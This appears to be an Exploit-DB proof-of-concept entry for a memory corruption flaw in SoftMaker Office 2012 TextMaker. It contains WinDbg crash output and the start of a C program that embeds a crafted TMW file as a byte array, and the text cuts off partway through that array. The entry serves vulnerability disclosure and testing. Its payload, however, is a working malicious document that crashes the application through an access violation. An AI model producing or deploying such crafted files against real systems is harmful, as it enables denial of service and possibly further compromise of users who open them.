Exploit-DB #29307
Description: SoftMaker Office 2012 - TextMaker Memory Corruption
Type: dos
Platform: windows
Date: 2013-10-30
Author: Arash Allebrahim

Exploit:
/*

	Title			:  Softmaker Office 2012 TextMaker Memory Corruption Vulnerability (0day)
	Version			:  2012.12.20.654
	Author			:  Arash Allebrahim
	Contact			:  Genius_s3c_firewall@yahoo.com
	Date			:  2013-10-30
	Vendor			:  http://www.softmaker.com/english/of_en.htm
	tested			:  Win XP SP3 ENG & Win 7 sp 1 x64 Ultimate
	Description		:  Textmaker suffers from improper handling of crafted TMW file formats which leads to memory corruption
	Trigger Guide   :  It's enough to Open the "PoC.tmw" with Softmaker Office Textmaker 2012 to reproduce the vulnerability


Debugging information :

(ed8.750): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=94949484 ebx=00000000 ecx=a49794d8 edx=10030034 esi=0012cf78 edi=01b9ffcc
eip=00c6fc9d esp=0012a850 ebp=0012a87c iopl=0         ov up ei ng nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010a87
*** WARNING: Unable to verify checksum for TMWVC.EXE
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for TMWVC.EXE - 
TMWVC!l4linkSt::operator=+0x857723:
00c6fc9d 8901             mov     [ecx],eax         ds:0023:a49794d8=????????
0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0012a87c 00c6fa9a 01bd5[PII_REDACTED]4 01bd5554 TMWVC!l4linkSt::operator=+0x857723
0012a894 00813a0f 01bd5554 [PII_REDACTED] TMWVC!l4linkSt::operator=+0x857520
0012a8a8 006408a1 01b9efdc [PII_REDACTED] TMWVC!l4linkSt::operator=+0x3fb495
0012a9f8 00643ca5 01b9efdc 01ba0c2c 00000013 TMWVC!l4linkSt::operator=+0x228327
0012ab20 00645d17 01b9efdc 01be8f40 01ba0c2c TMWVC!l4linkSt::operator=+0x22b72b
0012ac88 00646bd8 01b9efdc 01ba0c2c 0012c90c TMWVC!l4linkSt::operator=+0x22d79d
0012acc4 00646de4 01b9efdc 00000000 ffffffff TMWVC!l4linkSt::operator=+0x22e65e
0012cb18 007ea819 01b9efdc 0012cd68 00000000 TMWVC!l4linkSt::operator=+0x22e86a
0012cd50 007ed2c1 01b9efdc 01b50964 0012cd68 TMWVC!l4linkSt::operator=+0x3d229f
0012e80c 007fbaf0 000602d6 01b9efdc 01b50964 TMWVC!l4linkSt::operator=+0x3d4d47
0012ec5c 007ef2c6 01b9efdc 01b50964 000015e1 TMWVC!l4linkSt::operator=+0x3e3576
0012ecf4 007b2def 01b9efdc 01b50[PII_REDACTED]1 TMWVC!l4linkSt::operator=+0x3d6d4c
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\USER32.dll - 
0012ed28 7e[PII_REDACTED]02d6 00[PII_REDACTED]15e1 TMWVC!l4linkSt::operator=+0x39a875
0012ed54 7e[PII_REDACTED]6103 000602d6 00000111 USER32!GetDC+0x6d
0012edbc 7e42927b [PII_REDACTED] 000602d6 USER32!GetDC+0x14f
0012edf8 7e4292e3 004d86a8 014d7750 000015e1 USER32!GetParent+0x16c
0012ee18 007b28fa 000602d6 00[PII_REDACTED]15e1 USER32!SendMessageW+0x49
0012ee78 7e418734 000a02ba 00[PII_REDACTED]15e1 TMWVC!l4linkSt::operator=+0x39a380
0012eea4 7e[PII_REDACTED]d2a6 000a02ba 00000111 USER32!GetDC+0x6d
0012ef0c 7e42927b 00[PII_REDACTED]d2a6 000a02ba USER32!GetDC+0x14f



*/



#include<stdio.h>
#include<windows.h>

unsigned char rawData[41526] =
{
    0x4D, 0x56, 0x00, 0xFF, 0x0C, 0x00, 0x0E, 0x00, 0x17, 0x00, 0x03, 0x00, 0x2D, 0x59, 0x41, 0x31, 
    0x03, 0x00, 0x17, 0x00, 0x31, 0x00, 0x11, 0x00, 0x02, 0x00, 0x9E, 0x01, 0x00, 0x00, 0x10, 0x00, 
    0x04, 0x00, 0x30, 0x13, 0x00, 0x00, 0x1E, 0x00, 0x04, 0x00, 0x2C, 0x13, 0x00, 0x00, 0x1F, 0x00, 
    0x01, 0x00, 0x34, 0x13, 0x00, 0x00, 0x20, 0x00, 0x2E, 0x00, 0xB8, 0x1C, 0x00, 0x00, 0x21, 0x00, 
    0x32, 0x00, 0x68, 0x0E, 0x00, 0x00, 0x22, 0x00, 0x01, 0x00, 0xBE, 0x0E, 0x00, 0x00, 0x16, 0x00, 
    0x00, 0x00, 0x24, 0x13, 0x00, 0x00, 0x1C, 0x00, 0x04, 0x00, 0x24, 0x13, 0x00, 0x00, 0x00, 0x00, 
    0x03, 0x00, 0x4C, 0x1A, 0x00, 0x00, 0x01, 0x00, 0x05, 0x00, 0x5C, 0x19, 0x00, 0x00, 0x02, 0x00, 
    0x04, 0x00, 0x00, 0x15, 0x00, 0x00, 0x03, 0x00, 0x01, 0x00, 0xF4, 0x02, 0x00, 0x00, 0x05, 0x00, 
    0x04, 0x00, 0x00, 0x05, 0x00, 0x00, 0x06, 0x00, 0x01, 0x00, 0xD8, 0x1B, 0x00, 0x00, 0x07, 0x00, 
    0x01, 0x00, 0x94, 0x18, 0x00, 0x00, 0x08, 0x00, 0x01, 0x00, 0xDC, 0x1B, 0x00, 0x00, 0x1B, 0x00, 
    0x01, 0x00, 0xF8, 0x18, 0x00, 0x00, 0x13, 0x00, 0x01, 0x00, 0x04, 0x13, 0x00, 0x00, 0x14, 0x00, 
    0x00, 0x00, 0x0C, 0x13, 0x00, 0x00, 0x0C, 0x00, 0x01, 0x00, 0x54, 0x1C, 0x00, 0x00, 0x0A, 0x00, 
    0x01, 0x00, 0x1E, 0x0E, 0x00, 0x00, 0x0B, 0x00, 0x01, 0x00, 0x40, 0x0D, 0x00, 0x00, 0x04, 0x00, 
    0x01, 0x00, 0x5C, 0x0D, 0x00, 0x00, 0x0D, 0x00, 0x08, 0x00, 0x54, 0x0E, 0x00, 0x00, 0x0E, 0x00, 
    0x0C, 0x00, 0x5C, 0x0E, 0x00, 0x00, 0x0F, 0x00, 0x3C, 0x00, 0xE6, 0x12, 0x00, 0x00, 0x19, 0x00, 
    0x01, 0x00, 0x22, 0x1C, 0x00, 0x00, 0x1A, 0x00, 0x04, 0x00, 0x28, 0x13, 0x00, 0x00, 0x18, 0x00, 
    0x5B, 0x1E, 0x5B, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x25, 0x00, 
    0x08, 0x00, 0xE6, 0x1C, 0x00, 0x00, 0x26, 0x00, 0x4C, 0x00, 0xA0, 0x01, 0x00, 0x00, 0x27, 0x00, 
    0x88, 0x00, 0xEC, 0x01, 0x00, 0x00, 0x28, 0x00, 0x14, 0x00, 0xEE, 0x1C, 0x00, 0x00, 0x29, 0x00, 
    0x14, 0x00, 0x9A, 0x0E, 0x00, 0x00, 0x2B, 0x00, 0x00, 0x00, 0x24, 0x13, 0x00, 0x00, 0x2A, 0x00, 
    0x04, 0x00, 0x34, 0x13, 0x00, 0x00, 0x2C, 0x00, 0xF4, 0x02, 0xA0, 0x15, 0x00, 0x00, 0x2D, 0x00, 
    0x4F, 0x00, 0x02, 0x1D, 0x00, 0x00, 0x2E, 0x00, 0x02, 0x00, 0x04, 0x19, 0x00, 0x00, 0x2F, 0x00, 
    0x16, 0x00, 0x51, 0x1D, 0x00, 0x00, 0x30, 0x00, 0x10, 0x00, 0xAE, 0x0E, 0x00, 0x00, 0x33, 0x00, 
    0xF4, 0x00, 0x67, 0x1D, 0x00, 0x00, 0x32, 0x00, 0x03, 0x00, 0x74, 0x13, 0x00, 0x00, 0x31, 0x00, 
    0x28, 0x00, 0x4C, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0x00, 
    0x14, 0x00, 0x38, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0xA0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0